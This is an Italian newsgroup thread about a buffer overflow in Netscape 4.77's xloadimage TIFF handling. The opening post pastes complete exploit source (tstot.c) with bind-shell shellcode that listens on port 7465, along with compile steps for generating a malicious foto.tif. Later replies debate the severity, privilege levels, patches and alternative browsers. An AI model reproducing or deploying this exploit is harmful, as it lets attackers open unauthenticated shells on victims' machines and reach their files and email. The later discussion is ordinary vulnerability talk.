Newsgroup: it.comp.sicurezza.unix
Titolo: Grave Falla in Netscape 4.77

Raga ma avete sentito??
Io l'ho scoperto proprio ora!! Sono colpite anche le Mandrake8.0 come la
mia!!:-(
Questa falla consiste nel far prendere alla vittima il file "foto.tif"
che se viene
aperto da netscape 4.77 ( tramite il modulo xloadimage ) comporta
l'apertura inconsapevole di una shell remota sulla porta  7465.
Il trucco e' quello solito del bufferoverflow , ecco l'exploit che ho
trovato in rete:
Exploit:
//#define TARGET 0x080e1337
//as 1337 as the 1337357 kiddies.
#define TARGET 0xdeadbeef
// lamagra's port binding shell code (from bind.c in the sc.tar.gz)
//
char lamagra_bind_code[] =
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
// slight modification so it listens on 7465 instead of 3879
// TAGS is easier to remember ;]
char *
this (int doit)
{
  char *p;
  int v;
  p = (char *) malloc (8200);
  memset (p, 0x90, 8200);
  if (!doit)
    for (v = 0; v < 8100; v += 122)
      {
p[v] = 0xeb;
p[v + 1] = 120;
      }
  if (doit)
    memcpy (&p[7000], lamagra_bind_code, strlen (lamagra_bind_code));
  p[8199] = 0;
  return p;
}
main (int argc)
{
  int z0, x = TARGET;
  int z1, y = x;
  int p;
  char *q;
  if (argc > 1)
    printf ("HTTP/1.0 200\nContent-Type: image/x-tiff\n\n");
  printf ("FirstName: %s\n", this (0));
  printf ("LastName: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  printf ("%s\n", &x);
// Begin Padding Heap With 'Garbage' (nop/jmp)
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
// End Padding Heap With 'Garbage' (nop/jmp)
  printf ("%s", this (1));
  printf ("
http://www.mp3.com/cosv
");
  printf ("\nPicData: 32 32 8\n");
  printf ("\n");
  for (p = 0; p < 9994; p += 1)
    printf ("A");
}
// EOF -- tstot.c --
Questo serve a creare il file "tif" incriminato!
Si fa in questo modo:
gcc tstot.c -o tstot
./tstot > foto.tif
E' stata rilasciata un patch ma il sito che la mantiene e'
irragiungibile :-(
 
Majin

Cacchio ma non frega niente a nessuno?
A me sembrava un problema grave!!
Certo che quando vi entreranno nel computer o quando vi useranno come
bouncer per attacchi
contro  chissa quale portale forse cambierete idea:-)


 contro  chissa quale portale forse cambierete idea:-)
bah... per quanto mi riguarda uso Opera come browser...
cmq se dovessi sconvolgermi per ogni nuovo exploit che esce su bugtraq, 
non credo riuscirei a vivere...
bye

 cambierete idea:-)
non ho capito, che vuoi? un premio?  hai vinto un bel mongolino d'oro! E
impara a quotare, che lo fai penosamente...

> l'apertura inconsapevole di una shell remota sulla porta  7465.
Poi mi devi spiegare come fa - sia pure in presenza di buffer overflow - ad
attivare una shell remota sulla porta 7465, operazione che comporta di avere
i privilegi di root.
E se tu navighi da root, ben ti sta.
-- 
Massimo Bacilieri AKA Crononauta
ulib...@libero.it
 ; ICQ UIN: 4005815
»»» Un buon antivirus? Disinstallare Outlook Express!!!

E se tu navighi da root, ben ti sta.
   ...alle macchine di quelli che navigano come root. :-)
-- 
Totuccio.

   ...alle macchine di quelli che navigano come root. :-)
E questo è un altro discorso :-)
Ma allora il bug è nell'amministratore, prima che in Netscape...



:-(

 E se tu navighi da root, ben ti sta.
Questo mai! L'unica volta che mi sono loggato da root e' stata la prima
volta!
....
Comunque non cercavo un premio o del conforto per aver parlato di questo
bug di
netscape, cercavo solo qualche parere interessante:-)
Grazie:-)

 e devi avere un account sul sistema...
Non e' vero! Qui ti confondi!E' il server telnet che attiva prima il
programma "login" e poi
(in caso di autenticazione positiva ) attiva "/bin/sh"!!
Invece nel caso del bug ( ma avete mai provato a lanciare "login" per
vedere che succede??)
viene avviata direttamente la shell senza nessuna autentificazione!!
Volendo dirla tutta lo shellcode usato e' il noto "bind.c" (che sta pure
su
"
http://www.hack.co.za
") che e' stato solo leggermente modificato per
aprire una porta
differente ( ma questo c'e' scritto nel sorgente del "tstot.c"! ) e
quindi fa le solite
cose del "bind.c" ossia:
socket(..) , bind(..) , listen(..) , accept(..) e infine system(/bin/sh) 
[ovviamente tutto in codice macchina altrimenti che shellcode e':-) ] 
E' pittosto chiaro quindi quello che l'exploit fa' ,ma cmq non sono
riuscito a pacciare
il bug perche non trovo il file xloadimage che andrebbe eliminato o
disattivato:-(

viene avviata direttamente la shell senza nessuna autentificazione!!
Certo ma allora è una shell dell'UTENTE, mica di root! Ok, per
l'utente può essere un problema. Ma in ogni modo al sistema non gliene
può fregare di meno.
Comunque butta nel cesso Netscape 4.7 e passa a Mozilla
(suggerimento).


 
Grazie del suggerimento ma cmq uso konqueror:-)

può fregare di meno.
   Pero`, se non e` un problema grave per l'amministratore [1], lo e`
sicuramente per l'utente, che vede le sue e-mail, i suoi documenti
personali e di lavoro esposti alla lettura e alla modifica da parte di
estranei. [2] [3]
[1] Che poi l'amministratore o e` anche l'utente, o deve spiegare
all'utente che non e` stato lui a cancellare la fattura 103, ma
qualcuno che ha approfittato di un buco nella sicurezza del sistema (e
non mi sembra una gran figura).
[2] Penso con orrore all'ipotesi che qualcuno risponda a un'e-mail di
un mio cliente (a mio nome e quotando pure il testo della sua e-mail)
con qualcosa tipo: "mi sono dimenticato di consigliarti di andare sul
sito 
superpornazzowarez.com/cgi-bin/.
.. blah... blah...". Preferirei
che entrasse come root per installare un server ftp pirata. :-)
-- 
Totuccio.

 Totuccio.
Ma infatti shi :-)

 estranei. [2] [3]
In realta' puo' essere un problema.
Una shell utente e' senza dubbio una base di lancio per attacchi a
vulnerabilita' locali, ne esistono senza dubbio molte ma molte di piu'.
Man, cron, sono le prime due che mi vengono in mente. In piu' c'e' la
possibilita' che il sistema (se pur da utente) sia zombizzato per
lanciare attacchi DoS. 
In ogni caso gli esempi che porti sono comunque calzanti!
Ciao a tutti
-- 
Ciao!
HappyCactus

 In ogni caso gli esempi che porti sono comunque calzanti!
Infatti di exploits locali ce ne sono davvero troppi!
Ieri per curiosita sono stato su 
www.mandrake.com
 a cercare la patch per
il
xloadimage ( che tra l'altro nn c'era! ) e ho notato che c'erano almeno
300 patch per i bug piu disparati :°
Ho poi notato che nonostante quello che dicesse il comunicato la mia
mandrake8.0
non ha il modulo xloadimage installato e non e' neppure vulnerabile!
Ho provato l'exploit con le mie mani! Bo:\
                                                   Majin

 trovato in rete:
Ma sulla Mandrake 8 non ci sono anche KDE2 e GNOME1.4?
Allora ci sono anche browser migliori... konqueror, galeon, mozilla,
nautilus :)
Ciao
-- 
Giulivo Navigante [Linux Slackware]
http://www.fans.carmenconsoli.com